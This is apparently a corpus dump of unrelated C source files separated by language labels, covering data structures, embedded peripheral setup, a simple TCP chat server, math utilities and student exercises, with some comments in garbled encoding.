if(head->next == NULL){ // 만약 끝까지 검사해도 node가 존재하지 않는다면 새로 만들어서 반환 head = append(head, create_node(name, 0, 0)); head = head->next; return head; } else{ head = head->next; } } while (head != NULL); } } /* Save directory 존재 확인 여부 검사 및 생성 함수 */ void makeSaveDir(){ int r = 0; r = access("./savefile", F_OK); // r에 현재 파일/디렉토리 상태 저장 if(r<0){ // r < 0의 의미는 현재 해당 디렉토리가 존재하지 않는다는 의미 system("mkdir savefile"); // 디렉토리 생성 } }
C
/* Problem Statement : Write a program which accept directory name from user and create hole in file if size is less than 1kb & if it is greater than 1kb then truncate the remaining data. */ #include<stdio.h> #include<dirent.h> #include<fcntl.h> #include<unistd.h> #include<sys/stat.h> #include<stdlib.h> #include<string.h> int main(int argc,char *argv[]) { DIR *pDir = 0; struct dirent *dirptr = NULL; struct stat fileptr; int iFd = 0; int seek = 0; int size = 1024; int extrasize = 0; int iRet = 0; char path[500] = {'\0'}; char *data; char data1[1024] = {'\0'}; if(argc!=2) { printf("Error : Invalid number of arguments\nUse <make help> for help\n"); return -1; } pDir = opendir(argv[1]); if(pDir==NULL) { printf("Error : Unable to open directory\n"); return -1; } else { while((dirptr = readdir(pDir))!=NULL) { sprintf(path,"%s/%s",argv[1],dirptr->d_name); stat(path,&fileptr); if(S_ISREG(fileptr.st_mode)) { if((fileptr.st_size) > 1024) { printf("1 %s\n",dirptr->d_name); printf("%s\n",path); iFd = open(path,O_RDONLY); if(iFd==-1) { printf("Error : Unable to open %s in read mode\n",path); closedir(pDir); return -1; } else { data = (char *)malloc(sizeof(char) * fileptr.st_size); memset(data,'\0',size); while((iRet = read(iFd,data,fileptr.st_size)) != 0) { data[iRet] = '\0'; } } close(iFd); iFd = open(path,O_WRONLY|O_TRUNC); if(iFd==-1) { printf("Error : Unable to open %s in write mode\n",path); closedir(pDir); } else { write(iFd,data,size); } close(iFd); } else { printf("2 %s\n",dirptr->d_name); printf("%s\n",path); iFd = open(path,O_RDONLY|O_WRONLY); if(iFd==-1) { printf("Error : Unable to open %s in read mode\n",path); closedir(pDir); return -1; } else { lseek(iFd,10,SEEK_SET); write(iFd,"\0",2); lseek(iFd,100,SEEK_SET); write(iFd,"\0",2); lseek(iFd,106,SEEK_SET); write(iFd,"\0",2); lseek(iFd,500,SEEK_SET); write(iFd,"\0",2); lseek(iFd,0,SEEK_SET); write(iFd,"\0",2); } close(iFd); memset(data1,'\0',size); } } } } close(iFd); free(data); closedir(pDir); return 0; }
C
#include <stdbool.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include "llist.h" typedef struct testlist { struct testlist LIST_HEAD; char *tstring; } testlist; static bool _print_nodes(void * node) { testlist * const test_node = (testlist *)node; putchar(' '); puts(test_node->tstring); return false; } void in_loop( char ** in_line, size_t * in_line_size ) { testlist *list = NULL; for (;;) { putchar('>'); ssize_t const in_line_len = getline(in_line, in_line_size, stdin); switch (*in_line[0]) { case 'l': { testlist * node = head_node(list); if (NULL != node) { do { if (node == list) { putchar('*'); } else { putchar(' '); } puts(node->tstring); node = node->NEXT; } while(node->HEAD != true); } break; } case 's': (void)scan_list(head_node(list), _print_nodes); break; case 'a': { testlist * const node = node_alloc(sizeof(testlist)); node->tstring = strdup(*in_line+1); list = insert_node(list, node); break; } case 't': { testlist * const node = node_alloc(sizeof(testlist)); node->tstring = strdup(*in_line+1); list = add_node(list, node); break; } case 'b': { testlist * const node = node_alloc(sizeof(testlist)); node->tstring = strdup(*in_line+1); list = append_node(list, node); break; } case 'p': if (NULL == list) { puts("NULL list\n"); } else { puts(list->tstring); } break; case 'd': if (NULL == list) { puts("NULL list\n"); } else { testlist * const node = list; list = del_node(list); if (NULL != node) { free(node->tstring); free(node); } } break; case '+': if (NULL == list) { puts("NULL list\n"); } else { list = list->NEXT; puts(list->tstring); } break; case '-': if (NULL == list) { puts("NULL list\n"); } else { list = list->PREV; puts(list->tstring); } break; case 'q': // TODO: List should be freed. while (NULL != list) { list = free_node(list); } puts("goodbye"); return; case '?': puts( "[a]dd txt\n" "[b]ottom txt\n" "[t]op txt\n" "[d]el current\n" "[l]ist\n" "[p]rint current\n" "[s]can print all\n" "[+] next\n" "[-] previous.\n" "[?] help.\n" "[q]uit" ); // Fall through. default: puts("a[txt] b[txt] t[txt] dlps+-?q"); } } } int main(const int argc, const char * const argv[]) { char * in_line; size_t in_line_size = 0; in_loop(&in_line, &in_line_size); free(in_line); exit(EXIT_SUCCESS); }
C
/* First C Program - print "Hello world" */ /* Author: girish date: 01/01/2021 */ #include <stdio.h> int main() { printf("Hello world!\n"); return 0; }
C
/** ****************************************************************** * @file norflash_test.c * @author fire * @version V1.0 * @date 2018-xx-xx * @brief nor flash ****************************************************************** * @attention * * ʵƽ̨:Ұ i.MXRT1052 * ̳ :http://www.firebbs.cn * Ա :http://firestm32.taobao.com * ****************************************************************** */ #include "fsl_flexspi.h" #include "fsl_debug_console.h" #include "./norflash/bsp_norflash.h" #include "./delay/core_delay.h" #define EXAMPLE_SECTOR 4096 /* ҪждԵ */ #define EXAMPLE_SIZE (4*1024) /* дԵλΪֽ*/ /* дʹõĻ */ static uint8_t s_nor_program_buffer[EXAMPLE_SIZE]; static uint8_t s_nor_read_buffer[EXAMPLE_SIZE]; extern status_t FlexSPI_NorFlash_Enable_QE(FLEXSPI_Type *base); extern uint8_t FlexSPI_FlashUUID_Get_ISSI(uint8_t *buf); /** * @brief ʹAHBķʽжд * @param * @retval ԽΪ0 */ int NorFlash_AHBCommand_Test(void) { uint32_t i = 0; status_t status; uint32_t JedecDeviceID = 0; PRINTF("\r\nNorFlash AHBʲ\r\n"); /***************************ID****************************/ /* ȡJedecDevice ID. */ FlexSPI_NorFlash_Get_JedecDevice_ID(FLEXSPI, &JedecDeviceID); if(JedecDeviceID != FLASH_WINBOND_JEDECDEVICE_ID && JedecDeviceID != FLASH_ISSI_JEDECDEVICE_ID) { PRINTF("FLASH󣬶ȡJedecDeviceIDֵΪ: 0x%x\r\n", JedecDeviceID); return -1; } PRINTF("⵽FLASHоƬJedecDeviceIDֵΪ: 0x%x\r\n", JedecDeviceID); /*******************************************************/ PRINTF("\r\n"); /* ָ */ status = FlexSPI_NorFlash_Erase_Sector(FLEXSPI, EXAMPLE_SECTOR * SECTOR_SIZE); if (status != kStatus_Success) { PRINTF("flashʧ !\r\n"); return -1; } /* ȡ */ memcpy(s_nor_read_buffer, NORFLASH_AHB_POINTER(EXAMPLE_SECTOR * SECTOR_SIZE), EXAMPLE_SIZE); /* FLASHеӦΪ0xFF ñȽõs_nor_program_bufferֵȫΪ0xFF */ memset(s_nor_program_buffer, 0xFF, EXAMPLE_SIZE); /* Ѷ0xFFȽ */ if (memcmp(s_nor_program_buffer, s_nor_read_buffer, EXAMPLE_SIZE)) { PRINTF("ݣݲȷ !\r\n "); return -1; } else { PRINTF("ݳɹ. \r\n"); } /***************************һдݲ****************************/ PRINTF("81632λдݲԣ0x120x34560x789abcde \r\n"); /*ʹAHBʽд*/ *(uint8_t *)NORFLASH_AHB_POINTER(EXAMPLE_SECTOR * SECTOR_SIZE) = 0x12; *(uint16_t *)NORFLASH_AHB_POINTER(EXAMPLE_SECTOR * SECTOR_SIZE + 4) = 0x3456; *(uint32_t *)NORFLASH_AHB_POINTER(EXAMPLE_SECTOR * SECTOR_SIZE + 8) = 0x789abcde; /*ʹAHBʽȡ*/ PRINTF("8λд = 0x%x\r\n", *(uint8_t *)NORFLASH_AHB_POINTER(EXAMPLE_SECTOR * SECTOR_SIZE)); PRINTF("16λд = 0x%x\r\n", *(uint16_t *)NORFLASH_AHB_POINTER(EXAMPLE_SECTOR * SECTOR_SIZE+4)); PRINTF("32λд = 0x%x\r\n", *(uint32_t *)NORFLASH_AHB_POINTER(EXAMPLE_SECTOR * SECTOR_SIZE+8)); /***************************һдһݲ****************************/ PRINTF("\r\nдͶȡ \r\n"); for (i = 0; i < EXAMPLE_SIZE; i++) { s_nor_program_buffer[i] = (uint8_t)i; } /* ָ */ status = FlexSPI_NorFlash_Erase_Sector(FLEXSPI, EXAMPLE_SECTOR * SECTOR_SIZE); if (status != kStatus_Success) { PRINTF("flashʧ !\r\n"); return -1; } /* дһ */ status = FlexSPI_NorFlash_Buffer_Program(FLEXSPI, EXAMPLE_SECTOR * SECTOR_SIZE, (void *)s_nor_program_buffer, EXAMPLE_SIZE); if (status != kStatus_Success) { PRINTF("дʧ !\r\n"); return -1; } /* ʹλ AHB . */ FLEXSPI_SoftwareReset(FLEXSPI); /* ȡ */ memcpy(s_nor_read_buffer, NORFLASH_AHB_POINTER(EXAMPLE_SECTOR * SECTOR_SIZE), EXAMPLE_SIZE); /* ѶдıȽ */ if (memcmp(s_nor_program_buffer, s_nor_read_buffer,EXAMPLE_SIZE)) { PRINTF("дݣݲȷ !\r\n "); return -1; } else { PRINTF("дͶȡԳɹ. \r\n"); } PRINTF("NorFlash AHBʲɡ\r\n"); return 0; } /****************************END OF FILE**********************/
C
/* ˼· 1Ŀ룬ĿѸݲ뽨˶ 2ӽڵṹ嶨Уÿڵ㶼иָchildren洢һӽڵָ飬numChildren¼²ӽڵ 3ͬıģ弴ɣleft/rightΪforѭchildrenָ ο https://leetcode-cn.com/problems/n-ary-tree-preorder-traversal/solution/rong-yi-li-jie-de-cyu-yan-di-gui-by-sleeeeep/ ꣺ ˼±ĵʵ֣ ˼δӲ룬 */ /** * Definition for a Node. * struct Node { * int val; * int numChildren; * struct Node** children; * }; */ /** * Note: The returned array must be malloced, assume caller calls free(). */ #define MAX_SIZE 10000 void PreTraversal(struct Node *root, int *nums, int *pcnt) { // ֹ if (root == NULL) { return; } // ǰ nums[*pcnt] = root->val; // (*pcnt)++; // int i; for (i = 0; i < root->numChildren; i++) { PreTraversal(root->children[i], nums, pcnt); } return; } int *preorder(struct Node *root, int *returnSize) { *returnSize = 0; int *nums = (int*)malloc(MAX_SIZE * sizeof(int)); if (nums == NULL) { return NULL; } int cnt = 0; PreTraversal(root, nums, &cnt); *returnSize = cnt; return nums; }
C
#include "test.h" static pthread_mutexattr_t mxAttr; /* Prevent optimiser from removing dead or obvious asserts. */ int _optimiseFoil; #define FOIL(x) (_optimiseFoil = x) int main() { int mxType = -1; assert(FOIL(PTHREAD_MUTEX_DEFAULT) == PTHREAD_MUTEX_NORMAL); assert(FOIL(PTHREAD_MUTEX_DEFAULT) != PTHREAD_MUTEX_ERRORCHECK); assert(FOIL(PTHREAD_MUTEX_DEFAULT) != PTHREAD_MUTEX_RECURSIVE); assert(FOIL(PTHREAD_MUTEX_RECURSIVE) != PTHREAD_MUTEX_ERRORCHECK); assert(FOIL(PTHREAD_MUTEX_NORMAL) == PTHREAD_MUTEX_FAST_NP); assert(FOIL(PTHREAD_MUTEX_RECURSIVE) == PTHREAD_MUTEX_RECURSIVE_NP); assert(FOIL(PTHREAD_MUTEX_ERRORCHECK) == PTHREAD_MUTEX_ERRORCHECK_NP); assert(pthread_mutexattr_init(&mxAttr) == 0); assert(pthread_mutexattr_gettype(&mxAttr, &mxType) == 0); assert(mxType == PTHREAD_MUTEX_NORMAL); return 0; }
C
// Kernel definition __global__ void VecAdd(float* A, float* B, float* C) { int i = threadIdx.x; C[i] = A[i] + B[i]; } int main() { ... // Kernel invocation with N threads VecAdd<<<1, N>>>(A, B, C); ... }
C
#include <stdio.h> int main(void){ if (1 || 0 && 0) { printf ("Hello world.\n"); } else { printf ("False alarm.\n"); } return 0; }
C
/* * dac.c * * Configure PB.0-7 as an 8 bit dac (bit 0 is the least significant bit) */ #include "dac.h" #include "../tm4c123gh6pm.h" // ----------dacInit---------- // Initialize 8-bit DAC ports void DACInit(void) { // Turn on port A SYSCTL_RCGCGPIO_R |= 0x02; __asm{NOP}; __asm{NOP}; // All pins are digital outputs GPIO_PORTB_AMSEL_R = 0x00; GPIO_PORTB_PCTL_R = 0x00; GPIO_PORTB_DIR_R = 0xFF; GPIO_PORTB_AFSEL_R = 0x00; GPIO_PORTB_DEN_R = 0xFF; } // ----------dacOut---------- // output an 8-bit value to the DAC // Parameters: // uint8_t data: value to write to the DAC (8-bit, 0-3.3v) void DACOut(uint8_t data) { GPIO_PORTB_DATA_R = data; }
C
/* Graphics Math http://en.wikipedia.org/wiki/Quaternions_and_spatial_rotation http://gpwiki.org/index.php/OpenGL:Tutorials:Using_Quaternions_to_represent_rotation */ #include <math.h> void gmath_norm_vec(float* vec, float* vec_res) { float x = vec[0]; float y = vec[1]; float z = vec[2]; float mag = sqrt((x * x) + (y * y) + (z * z)); vec_res[0] = x / mag; vec_res[1] = y / mag; vec_res[2] = z / mag; } void gmath_add_vec(float* veca, float* vecb, float* vec_res) { vec_res[0] = veca[0] + vecb[0]; vec_res[1] = veca[1] + vecb[1]; vec_res[2] = veca[2] + vecb[2]; } void gmath_make_quat(float* vec, float angle, float* quat_res) { float half_angle; float sin_half_angle; float norm_vec[3]; half_angle = angle * 0.5; gmath_norm_vec(vec, norm_vec); sin_half_angle = sin(half_angle); quat_res[0] = cos(half_angle); quat_res[1] = norm_vec[0] * sin_half_angle; quat_res[2] = norm_vec[1] * sin_half_angle; quat_res[3] = norm_vec[2] * sin_half_angle; } void gmath_norm_quat(float* quat, float* quat_res) { float w = quat[0]; float x = quat[1]; float y = quat[2]; float z = quat[3]; float mag = sqrt((w * w) + (x * x) + (y * y) + (z * z)); quat_res[0] = w / mag; quat_res[1] = x / mag; quat_res[2] = y / mag; quat_res[3] = z / mag; } void gmath_conj_quat(float* quat, float* quat_res) { quat_res[0] = quat[0]; quat_res[1] = -quat[1]; quat_res[2] = -quat[2]; quat_res[3] = -quat[3]; } void gmath_mult_quat(float* quata, float* quatb, float* quat_res) { float wa = quata[0]; float xa = quata[1]; float ya = quata[2]; float za = quata[3]; float wb = quatb[0]; float xb = quatb[1]; float yb = quatb[2]; float zb = quatb[3]; quat_res[0] = wa * wb - xa * xb - ya * yb - za * zb; quat_res[1] = wa * xb + xa * wb + ya * zb - za * yb; quat_res[2] = wa * yb + ya * wb + za * xb - xa * zb; quat_res[3] = wa * zb + za * wb + xa * yb - ya * xb; } void gmath_mult_quat_vec(float* quat, float* vec, float* vec_res) { float v1 = vec[0]; float v2 = vec[1]; float v3 = vec[2]; float a = quat[0]; float b = quat[1]; float c = quat[2]; float d = quat[3]; float t2 = a*b; float t3 = a*c; float t4 = a*d; float t5 = -b*b; float t6 = b*c; float t7 = b*d; float t8 = -c*c; float t9 = c*d; float t10 = -d*d; vec_res[0] = 2*( (t8 + t10)*v1 + (t6 - t4)*v2 + (t3 + t7)*v3 ) + v1; vec_res[1] = 2*( (t4 + t6)*v1 + (t5 + t10)*v2 + (t9 - t2)*v3 ) + v2; vec_res[2] = 2*( (t7 - t3)*v1 + (t2 + t9)*v2 + (t5 + t8)*v3 ) + v3; } void gmath_quat_as_matrix(float* quat, float* matrix_res) { float w = quat[0]; float x = quat[1]; float y = quat[2]; float z = quat[3]; float x2 = x * x; float y2 = y * y; float z2 = z * z; float xy = x * y; float xz = x * z; float yz = y * z; float wx = w * x; float wy = w * y; float wz = w * z; matrix_res[0] = 1.0 - 2.0 * (y2 + z2); matrix_res[1] = 2.0 * (xy - wz); matrix_res[2] = 2.0 * (xz + wy); matrix_res[3] = 0.0; matrix_res[4] = 2.0 * (xy + wz); matrix_res[5] = 1.0 - 2.0 * (x2 + z2); matrix_res[6] = 2.0 * (yz - wx); matrix_res[7] = 0.0; matrix_res[8] = 2.0 * (xz - wy); matrix_res[9] = 2.0 * (yz + wx); matrix_res[10] = 1.0 - 2.0 * (x2 + y2); matrix_res[11] = 0.0; matrix_res[12] = 0.0; matrix_res[13] = 0.0; matrix_res[14] = 0.0; matrix_res[15] = 1.0; }
C
#include <stdio.h> #ifdef WIN32 #include <winsock2.h> #include <windows.h> #include <winsock.h> #else //Linux #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #endif #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <errno.h>//any useful in Windows? #define MAX 80 #define PORT 8088 #define SA struct sockaddr //---------------------------------------------------- //Functions to call in Windows static void init(void) { #ifdef WIN32 WSADATA wsa; int err = WSAStartup(MAKEWORD(2, 2), &wsa); if(err < 0) { puts("WSAStartup failed !"); exit(EXIT_FAILURE); } #endif } static void end(void) { #ifdef WIN32 WSACleanup(); #endif } //---------------------------------------------------- // Function designed for chat between client and server. void func(int sockfd) { char buff[MAX]; int n; // infinite loop for chat for (;;) { memset(buff, 0, sizeof(buff)); // read the message from client and copy it in buffer #ifdef WIN32 n = recv(sockfd, buff, sizeof(buff), 0); #else n = read(sockfd, buff, sizeof(buff)); //POSIX read() not working? #endif // print buffer which contains the client contents printf("From client: %s\n\t To client : ", buff); memset(buff, 0, sizeof(buff)); n = 0; // copy server message in the buffer while ((buff[n++] = getchar()) != '\n') ; // and send that buffer to client //Discard EOL #ifdef WIN32 send(sockfd, buff, strlen(buff) - 1, 0); #else write(sockfd, buff, strlen(buff) - 1); #endif // if msg contains "Exit" then server exit and chat ended. if (strncmp("exit", buff, 4) == 0) { printf("Server Exit...\n"); break; } } } // Driver function int main() { int sockfd, connfd, len; struct sockaddr_in servaddr, cli; #ifdef WIN32 init(); #endif // socket create and verification sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd == -1) { printf("socket creation failed.... Error: %d, strerror: '%s'\n", errno, strerror(errno)); exit(0); } else printf("Socket successfully created.. (%d)\n", sockfd); memset(&servaddr, 0, sizeof(servaddr)); // assign IP, PORT servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_port = htons(PORT); //Reuse port #ifdef WIN32 BOOL bOptVal = TRUE; setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char*)&bOptVal, sizeof(bOptVal)); #else int optval = 1; setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)); #endif // Binding newly created socket to given IP and verification if ((bind(sockfd, (SA*)&servaddr, sizeof(servaddr))) != 0) { printf("socket bind failed.... Errno: %d, error: '%s'\n", errno, strerror(errno)); exit(0); } else printf("Socket successfully binded..\n"); // Now server is ready to listen and verification if ((listen(sockfd, 5)) != 0) { printf("Listen failed...\n"); exit(0); } else printf("Server listening..\n"); len = sizeof(cli); // Accept the data packet from client and verification connfd = accept(sockfd, (SA*)&cli, &len); if (connfd < 0) { printf("server acccept failed...\n"); exit(0); } else printf("server acccept the client...\n"); // Function for chatting between client and server func(connfd); // After chatting close the socket #ifdef WIN32 closesocket(sockfd); #else close(sockfd); #endif #ifdef WIN32 end(); #endif }
C
// IFJ14, projekt do predmetu IFJ pre 2BIT 2014/2015 // /////// Autor: Jan Profant /////// Filip Badan /////// Michal Chomo /////// Tomas Chomo /////// Findo #include <stdio.h> #include <stdlib.h> #include "list.h" void varfuncL_init(t_varfunc_list *l) { l->First=NULL; l->Last=NULL; l->Active=NULL; } int varfuncL_insertlast(t_varfunc_list *l, t_func_list *flistp, types typep, char *idp, T_vartype dtypep) { t_list_item *new=malloc(sizeof(*new)); if(new==NULL)return 1; new->flist=flistp; new->type=typep; new->item_ID=malloc(strlen(idp)+1); if(new->item_ID==NULL) { free(new); return 1; } else strcpy(new->item_ID,idp); new->dattype=dtypep; if(l->First==NULL) { new->next=NULL; l->First=new; l->Last=new; } else { l->Last->next=new; l->Last=new; new->next=NULL; } return 0; } t_func_list* varfuncL_getflist(t_varfunc_list *l, char *func) { if(l->First==NULL)return NULL; t_list_item *tmp; tmp=l->First; while(tmp!=NULL) { if(strcmp(tmp->item_ID,func)==0)return tmp->flist; else tmp=tmp->next; } return NULL; } void varfuncL_dispose(t_varfunc_list *l) { if(l==NULL)return; t_list_item *tmp, *tmp2; tmp=l->First; while(tmp!=NULL) { tmp2=tmp; tmp=tmp->next; if(tmp2->type==FUNCTION) { funcL_dispose(tmp2->flist); free(tmp2->flist); } free(tmp2->item_ID); free(tmp2); } } void funcL_init(t_func_list *l) { l->First=NULL; l->Active=NULL; } int funcL_insertfirst(t_func_list *l, char *idp, T_vartype dtypep, bool is_parp) { t_flist_item *new=malloc(sizeof(*new)); if(new==NULL)return 1; new->item_ID=malloc(strlen(idp)+1); if(new->item_ID==NULL) { free(new); return 1; } strcpy(new->item_ID,idp); new->dattype=dtypep; new->is_param=is_parp; if(l->First==NULL) { new->next=NULL; l->First=new; } else { new->next=l->First; l->First=new; } return 0; } int funcL_compare(t_func_list *l1, t_func_list *l2) { if(l1==NULL || l2==NULL)return 1; if(l1->First==NULL && l2->First==NULL)return 0; t_flist_item *tmp1, *tmp2; tmp1=l1->First; tmp2=l2->First; while(tmp1!=NULL && tmp2!=NULL) { if(strcmp(tmp1->item_ID,tmp2->item_ID)!=0)return 1; else { tmp1=tmp1->next; tmp2=tmp2->next; } } if(tmp1!=NULL || tmp2!=NULL)return 1; else return 0; } void funcL_dispose(t_func_list *l) { if(l==NULL)return; t_flist_item *tmp, *tmp2; tmp=l->First; while(tmp!=NULL) { tmp2=tmp; tmp=tmp->next; free(tmp2->item_ID); free(tmp2); } } void labL_init(t_lablist *l) { l->First=NULL; l->Last=NULL; l->Active=NULL; } int labL_insertlast(t_lablist *l, tListItem *insptr, int labID, char *func) { t_lablist_item *new=malloc(sizeof(*new)); if(new==NULL)return 1; new->ins_ptr=insptr; new->lab_ID=labID; if(func!=NULL) { new->func_name=malloc(strlen(func)+1); if(new->func_name==NULL) { free(new); return 1; } strcpy(new->func_name,func); } else new->func_name=NULL; if(l->First==NULL) { new->next=NULL; l->First=new; l->Last=new; } else { l->Last->next=new; l->Last=new; new->next=NULL; } return 0; } void labL_dispose(t_lablist *l) { if(l==NULL)return; t_lablist_item *tmp, *tmp2; tmp=l->First; while(tmp!=NULL) { tmp2=tmp; tmp=tmp->next; if(tmp2->func_name!=NULL)free(tmp2->func_name); free(tmp2); } return; }
C
#ifndef __MATHS__ #define __MATHS__ inline double max(double x0, double x1); inline double max(double x0, double x1) { return((x0 > x1) ? x0 : x1); } #endif
C
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct list_head {struct list_head* next; struct list_head* prev; } ; /* Variables and functions */ scalar_t__ CHECK_DATA_CORRUPTION (int,char*,struct list_head*,struct list_head*,struct list_head*) ; bool __list_add_valid(struct list_head *new, struct list_head *prev, struct list_head *next) { if (CHECK_DATA_CORRUPTION(next->prev != prev, "list_add corruption. next->prev should be prev (%px), but was %px. (next=%px).\n", prev, next->prev, next) || CHECK_DATA_CORRUPTION(prev->next != next, "list_add corruption. prev->next should be next (%px), but was %px. (prev=%px).\n", next, prev->next, prev) || CHECK_DATA_CORRUPTION(new == prev || new == next, "list_add double add: new=%px, prev=%px, next=%px.\n", new, prev, next)) return false; return true; }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_print_hex.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: pyamcha <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/01/31 14:24:28 by pyamcha #+# #+# */ /* Updated: 2021/01/31 17:05:03 by pyamcha ### ########.fr */ /* */ /* ************************************************************************** */ #include "ft_printf.h" int ft_print_utils_hex(char *hex, t_outlst lst, size_t count) { int length; length = 0; if (lst.dot >= 0) length += ft_put_utils_width(lst.dot - 2, count - 2, 1); length += ft_put_length(hex, count); return (length); } int ft_check_hex(char *hex, t_outlst lst) { size_t count; int length; length = 0; count = ft_strlen(hex); if (lst.minus == 1) length += ft_print_utils_hex(hex, lst, count); if (lst.dot >= 0 && (size_t)lst.dot < count) lst.dot = count; if (lst.dot >= 0) { lst.width -= lst.dot; length += ft_put_utils_width(lst.width, 0, 0); } else { if (lst.minus == 1) length += ft_put_utils_width(lst.width, count, 0); else length += ft_put_utils_width(lst.width, count, lst.zero); } if (lst.minus == 0) length += ft_print_utils_hex(hex, lst, count); return (length); } int ft_print_hex(unsigned int n, t_outlst lst, int flag) { char *hex; int length; length = 0; if (lst.dot == 0 && n == 0) { length += ft_put_utils_width(lst.width, 0, 0); return (length); } hex = ft_itoa_hex((unsigned long long)n, 16); if (flag == 0) hex = ft_str_tolower(hex); length += ft_check_hex(hex, lst); free(hex); return (length); }
C
#ifndef _DRIVER_H_ #define _DRIVER_H_ #include <cml/cml.h> #include <Eigen/Dense> //#ifndef ANDROID #include <glm/glm.hpp> //#endif /** * Wrapper function that performs all the testing. This is not part of Main.cpp * because the function can be used on Android here, which doesn't use a * main() function. */ void testLibraries(int count); /** * Print the time difference between two timevals in milliseconds. */ void difference(timeval& start, timeval& end); /** * Create a float array with a size specified by count. Each value is * initialised as a random number generated using George Masaliga's 'Mother * of All Random Number Generator'. */ float* generateRandomNumbers(int count); /////////////////////////////////////////////////////////////////////////////// // Eigen Library /////////////////////////////////////////////////////////////////////////////// Eigen::Matrix4f* generateEigenMat4s(int count); /** * For each index, i, up to count, perform output[i] = inputA[i] + inputB[i]. */ void test_eigen_mat4_addition(Eigen::Matrix4f* inputA, Eigen::Matrix4f* inputB, Eigen::Matrix4f* output, int count); /** * For each index, i, up to count, perform output[i] = inputA[i] * inputB[i]. */ void test_eigen_mat4_multiplication(Eigen::Matrix4f* inputA, Eigen::Matrix4f* inputB, Eigen::Matrix4f* output, int count); //#ifndef ANDROID /////////////////////////////////////////////////////////////////////////////// // GLM library. /////////////////////////////////////////////////////////////////////////////// glm::mat4* generateGLMMat4s(int count); void test_glm_mat4_addition(glm::mat4* inputA, glm::mat4* inputB, glm::mat4* output, int count); void test_glm_mat4_multiplication(glm::mat4* inputA, glm::mat4* inputB, glm::mat4* output, int count); //#endif /////////////////////////////////////////////////////////////////////////////// // CML library. /////////////////////////////////////////////////////////////////////////////// cml::matrix44f_c* generateCMLMat4s(int count); void test_cml_mat4_addition(cml::matrix44f_c* inputA, cml::matrix44f_c* inputB, cml::matrix44f_c* output, int count); void test_cml_mat4_multiplication(cml::matrix44f_c* inputA, cml::matrix44f_c* inputB, cml::matrix44f_c* output, int count); #endif // _DRIVER_H_
C
#include<stdio.h> #include<stdlib.h> void func(int n); void func1(int n); static int step; int main() { int n; int i; printf("enter the number:"); scanf("%d",&n); for(i=0;i<=5;i++) { func(n); printf("\n"); func1(n); } printf("\n"); return 0; } void func(int n) { //static int step; //int step=0; printf("Step:%d\t",step); step=step+n; printf("%d\n",step); } void func1(int n) { //static int step=0; //int step=0; printf("Step:%d %s \t",step,__func__); //step=step+n; //printf("%d\n",step); }
C
/* * pwm.c * * Created on: 20 . 2019 . * Author: Admin * * PWM - PA0 TIM2_CH1 */ #include "pwm.h" void PWM_Init() { RCC->APB2ENR |= RCC_APB2ENR_IOPAEN; // I/O port A clock enable RCC->APB2ENR |= RCC_APB2ENR_AFIOEN; // Alternate Function I/O clock enable RCC->APB1ENR |= RCC_APB1ENR_TIM2EN; // Timer 2 clock enabled GPIOA->CRL |= GPIO_CRL_MODE0; // 11: Output mode, max speed 50 MHz. GPIOA->CRL &= ~GPIO_CRL_CNF0; // Reset GPIOA->CRL |= GPIO_CRL_CNF0_1; // 10: Alternate function output Push-pull // PWM TIM2->PSC = SystemCoreClock / 1000000 - 1; // PSC[15:0]: Prescaler value TIM2->ARR = 1000 - 1; // ARR[15:0]: Prescaler value TIM2->CCR1 = 0; // CCR4[15:0]: Capture/Compare value TIM2->CCMR1 &= ~TIM_CCMR1_OC1M; // Reset TIM2->CCMR1 |= (TIM_CCMR1_OC1M_2 | TIM_CCMR1_OC1M_1); // 110: PWM mode 1 - In upcounting, channel 1 is active as long as TIMx_CNT<TIMx_CCR1 else inactive. TIM2->CCER |= TIM_CCER_CC1E; // 1: On - OC1 signal is output on the corresponding output pin. TIM2->CR1 |= TIM_CR1_CEN; // 1: Counter enabled } void PWM_Set(uint32_t value) { TIM2->CCR1 = value; }
C
#include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/types.h> int main() { int fd = open("three_fifo", O_RDONLY); int no_digits = 0; int no_lowercase = 0; int no_uppercase = 0; char message[102]; int i = 0; char c; read(fd, message, 102); while (1) { c = message[i]; if ('0' <= c && c <= '9') { no_digits++; } else if ('a' <= c && c <= 'z') { no_lowercase++; } else if ('A' <= c && c <= 'Z') { no_uppercase++; } else if (c == '\0') { break; } i++; } printf("digits: %d\n" "lowecase: %d\n" "uppercase %d\n", no_digits, no_lowercase, no_uppercase); return 0; }
C
#include <stdio.h> #define clear() printf("\033[H\033[J") char * selectArch() { int selectVal =0; int loopWhile =1; while(loopWhile == 1) { banner(); printf(BlueF); printf("\n"); printf(white); printf("%s",tbl_procfamily_1); printf(BlueF); printf("%s",tbl_procfamily_2); printf("------------------ \n"); printf("%s",tbl_procfamily_0); printf(white); printf("\n"); printf( "Select the processor architecture [number]: "); scanf("%d", &selectVal); switch(selectVal) { case 0 : loopWhile=0; clear(); exit(0); case 1 : return "x86"; loopWhile=0; break; case 2 : return "x64"; loopWhile=0; break; default : loopWhile=1; } } }
C
#include <logging.h> DataFlowException:: DataFlowException(const char *type, const char *error){ sprintf(msg, "(%s): %s", type, error); Logger::LogEvent(msg); } FILE* Logger :: logger = fopen("logger.txt", "w"); void Logger:: LogEvent(const char *event){ //writes message to log file fprintf(logger, "%s\n",event); } void Logger:: Finalize(){ //closes log file fclose(logger); }
C
